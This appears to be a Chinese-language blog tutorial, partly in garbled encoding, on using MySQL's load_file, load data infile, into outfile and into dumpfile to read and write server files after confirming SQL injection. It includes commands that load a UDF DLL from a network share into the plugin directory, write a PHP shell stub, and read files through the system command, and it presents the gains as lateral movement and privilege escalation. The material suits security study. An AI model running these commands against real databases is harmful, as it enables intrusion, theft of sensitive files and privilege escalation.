mysql read file_MySQL利用OS读写文件的前提
能讀寫(xiě)文件的前提
不同系統(tǒng)、不同的數(shù)據(jù)庫(kù)版本有細(xì)微差異,以下實(shí)驗(yàn)都在Windows和Mysql 5.7.26下操作;
1.擁有該File的讀權(quán)限 或 該目錄寫(xiě)的權(quán)限
2.secure_file_priv屬性的值不為NULL
Windows下的設(shè)置
修改mysql.ini 文件,在[mysqld] 下添加條目: secure_file_priv =
保存,重啟mysql。
secure_file_priv屬性值的設(shè)置:
secure_file_priv為null 表示不允許導(dǎo)入導(dǎo)出 (5.7后為默認(rèn)值)
secure_file_priv指定文件夾時(shí),表示mysql的導(dǎo)入導(dǎo)出只能發(fā)生在指定的文件夾
secure_file_priv沒(méi)有設(shè)置時(shí),則表示沒(méi)有任何限制
[mysqld]
secure_file_priv=
# secure_file_priv= 表示對(duì)讀寫(xiě)沒(méi)有限制
# secure_file_priv= 在基線(xiàn)掃描時(shí)也是一個(gè)漏洞特征
Linux下的設(shè)置
在/etc/my.cnf的[mysqld]下面添加
[mysqld]
secure_file_priv=''
# 保存,重啟mysql
pkill mysqld
ps -e|grep mysqld
# 如果為空說(shuō)明殺光了
./mysql_safe &
沒(méi)有讀寫(xiě)權(quán)限的嘗試
win:
use thirdweek;
create table read2_tb(word text);
insert into read2_tb(word) values (load_file('D:/test.txt'));
select * from read2_tb;
也不報(bào)錯(cuò),就是每執(zhí)行一次就增加一行空值;
linxu:
報(bào)錯(cuò):The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
確認(rèn)有SQL注入后,跟進(jìn)確認(rèn)是否有讀寫(xiě)權(quán)限
# win
show global variables LIKE "secure_file_priv";
# linux
show global variables LIKE "secure_file_priv";
read
能讀文件意味著系統(tǒng)敏感文件泄露,代碼被審計(jì);讀遠(yuǎn)程文件;
準(zhǔn)備好要讀的文件
常用讀文件函數(shù),mysql在不同版本讀取文件的函數(shù)可能會(huì)不同:
load_file()
load data infile()
system cat
load_file()
use thirdweek;
create table read2_tb(word text);
insert into read2_tb(word) values (load_file('D:/test.txt'));
select * from read2_tb;
sql> insert into read2_tb(word) values (load_file('D:/test.txt'))
[2019-08-15 10:55:11] 1 row affected in 4 ms
讀入成功。
load_file( )函數(shù)支持網(wǎng)絡(luò)路徑。如果你可以將DLL復(fù)制到網(wǎng)絡(luò)共享中,那么你就可以直接加載并將它寫(xiě)入磁盤(pán)。
select load_file('\\\\192.168.0.19\\network\\lib_mysqludf_sys_64.dll') into dumpfile "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";
load data infile()
load data infile 'D:/test.txt' into table read2_tb;
write
寫(xiě)命令可以將一條select語(yǔ)句的結(jié)果寫(xiě)到MySQL進(jìn)程所有者擁有的完全可寫(xiě)權(quán)限的文件中。能寫(xiě)文件就意味著能寫(xiě)入shell, OS 區(qū)分Win\Linux之間的差別;
into outfile
將某列數(shù)據(jù)寫(xiě)出
use thirdweek;
select * from read2_tb where 1=1 into outfile 'D:/test2.txt';
# D:/test2.txt 不能存在,不然報(bào)錯(cuò)
[2019-08-15 11:23:11] [HY000][1086] File 'D:/test.txt' already exists
自定義shell寫(xiě)出
select "123<?php ?>" into dumpfile '/home/Mysticbinary/test.so';
into dumpfile
Think about it carefully. Both of them are function writers. Are they different?
Reference:https://www.jb51.net/article/139858.htm
The difference beween outfile and dumpfile:
導(dǎo)出的行數(shù)不一樣
轉(zhuǎn)義輸出
是否允許二進(jìn)制文件
導(dǎo)出的行數(shù)區(qū)別
outfile
首先通過(guò)命令select * from test into outfile '/tmp/test.txt'來(lái)使用outfile導(dǎo)出:
通過(guò)查看官方文檔,可以看出使用如下參數(shù)可以進(jìn)行格式調(diào)整
FIELDS ESCAPED BY 可以用來(lái)對(duì)指定的字符進(jìn)行轉(zhuǎn)義
FIELDS [OPTIONALLY] ENCLOSED BY 用來(lái)對(duì)字段值進(jìn)行包裹
FIELDS TERMINATED BY 用來(lái)對(duì)字段值之間進(jìn)行分割
Example:select * from test into outfile '/tmp/test.txt FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY ' " 'LINES TERMINATED BY '\n'
Example out :
dumpfile
在通過(guò)命令select * from test into dumpfile '/tmp/test.txt'來(lái)使用outfile導(dǎo)出:
命令執(zhí)行時(shí),命令提示超過(guò)一行
查看文件內(nèi)容
通過(guò)dumpfile導(dǎo)出的數(shù)據(jù)行數(shù)據(jù)之間并未進(jìn)行換行且只導(dǎo)出了部分?jǐn)?shù)據(jù)。
轉(zhuǎn)義輸出
保持原數(shù)據(jù)格式
outfile
我們使用命令 select 'a\naa\raaaa' into outfile '/tmp/test.txt' 來(lái)看一下在常用的寫(xiě)文件場(chǎng)景下的結(jié)果
outfile對(duì)導(dǎo)出內(nèi)容中的\n等特殊字符進(jìn)行了轉(zhuǎn)義,并且在文件內(nèi)容的末尾增加了一個(gè)新行
dumpfile
使用命令select 'a\naa\raaaa' into dumpfile '/tmp/test.txt';
可以看到dumpfile對(duì)文件內(nèi)容是原稿寫(xiě)入,未做任何轉(zhuǎn)移和增加。
基于這個(gè)原因,在UDF提權(quán)中一般使用dumpfile進(jìn)行dll文件 寫(xiě)入的原因。
二進(jìn)制文件
outfile后面不能接0x開(kāi)頭或者char轉(zhuǎn)換以后的路徑,只能是單引號(hào)路徑。這個(gè)問(wèn)題在php注入中很棘手,因?yàn)闀?huì)自動(dòng)將單引號(hào)轉(zhuǎn)義成\',請(qǐng)千萬(wàn)注意。
但dumpfile,后面的路徑可以是單引號(hào)、0x、char轉(zhuǎn)換的字符,但是路徑中的斜杠是/而不是\。
因?yàn)閐umpfile允許寫(xiě)二進(jìn)制文件。
mysql寫(xiě)shell并利用成功的前提
1.擁有上面說(shuō)的3個(gè)前提
2.能寫(xiě)入到可執(zhí)行目錄里面
3.能連接成功
利用mysql寫(xiě)shell的好處
內(nèi)網(wǎng)擴(kuò)散
數(shù)據(jù)庫(kù)一般都在內(nèi)網(wǎng)之中,與其他內(nèi)網(wǎng)主機(jī)能互通,作為一個(gè)跳板機(jī)就很理想,不過(guò)需要注意OP/DBA這種崗位對(duì)這臺(tái)SQL主機(jī)的持續(xù)監(jiān)控;
提權(quán)
一般進(jìn)入主機(jī)可能是低權(quán)限或者匿名用戶(hù),但是通過(guò)SQL注入得到的登陸用戶(hù)具有一定權(quán)限;利用SQL注入也是一種提權(quán)方式;
system + [shell command]
在mysql版本為5.x時(shí),除了可以使用以上方式讀寫(xiě)文件,還可以使用命令直接讀寫(xiě)文件,前提是使用linux.
# read
system cat /test.txt
# writer
system vim /web/site/www/test/a.php
注意:
1.此方法只能在本地讀取,遠(yuǎn)程連接mysql時(shí)無(wú)法使用system
2.無(wú)法越權(quán)操作
實(shí)驗(yàn)證明
$SQL1 = "select * from test_tb where name='lisi' and sex='0'";
//$SQL2 = "system date;";
$conn = getConnect();
$result = $conn->query($SQL1);
//$result = $conn->query($SQL2);
print_r($result);
在php遠(yuǎn)程連接mysql,然后執(zhí)行了SQL1 和 SQL2, 發(fā)現(xiàn)執(zhí)行的system的SQL語(yǔ)句失敗。說(shuō)明該關(guān)鍵字只能在本地的Linux Mysql上使用。
總結(jié)
以上是生活随笔為你收集整理的mysql read file_MySQL利用OS读写文件的前提的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: mysql 账户管理_Mysql账户管理
- 下一篇: mysql计算本月的天数_Mysql已知